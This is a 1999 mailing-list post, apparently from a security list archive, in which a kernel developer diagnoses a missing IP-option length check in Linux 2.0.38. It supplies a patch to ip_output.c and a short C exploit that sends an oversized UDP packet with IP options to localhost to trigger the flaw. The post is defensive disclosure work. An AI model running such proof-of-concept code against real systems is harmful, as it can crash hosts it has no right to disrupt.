[patch] Re: Big problem on 2.0.x?

[andrea () SUSE DE (Andrea Arcangeli)]

On Mon, 13 Dec 1999, Jason Mills wrote:

> heres a simple patch for the -s stuff just using the same method as with
> -l:)

Unfortunately fixing ping won't help because you can exploit it using UDP
too:(. BTW, the ping in 6.2 forbid me to use a size of the packet >=
65468 even as root. So I had to hack and recompile ping to reproduce.

Actually the bug is that the IP layer is checking that the iphdr+payload
is < 0xffff but it's _not_ checking that iphdr+optsize+payload is <
0xffff. So as far as there are no additional ip options in the packets all
is fine.

This is my fix against 2.0.38:

diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
--- 2.0.38/net/ipv4/ip_output.c Thu Jun 18 23:48:22 1998
+++ 2.0.38-ping-R/net/ipv4/ip_output.c  Tue Dec 14 23:02:43 1999
@@ -703,7 +703,13 @@

         if (!sk->ip_hdrincl) {
                 length += sizeof(struct iphdr);
-               if(opt) length += opt->optlen;
+               if(opt)
+               {
+                       /* make sure to not exceed the max packet size */
+                       if (0xffff-length < opt->optlen)
+                               return -EMSGSIZE;
+                       length += opt->optlen;
+               }
         }

         if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr)

Downloadable also from:

        ftp://ftp.*.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz

And this is my exploit I wrote to check the fix:

/* Exploit option length missing checks in Linux-2.0.38
   Andrea Arcangeli <andrea () suse de> */

#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

main()
{
        int sk;
        struct sockaddr_in sin;
        struct hostent * hostent;
#define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
#define OPT_SIZE 1
        char payload[PAYLOAD_SIZE];

        sk = socket(AF_INET, SOCK_DGRAM, 0);
        if (sk < 0)
                perror("socket"), exit(1);

        if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
                perror("setsockopt"), exit(1);

        bzero((char *)&sin, sizeof(sin));

        sin.sin_port = htons(0);
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = htonl(2130706433);

        if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
                perror("connect"), exit(1);

        if (write(sk, payload, PAYLOAD_SIZE) < 0)
                perror("write"), exit(1);
}

Andrea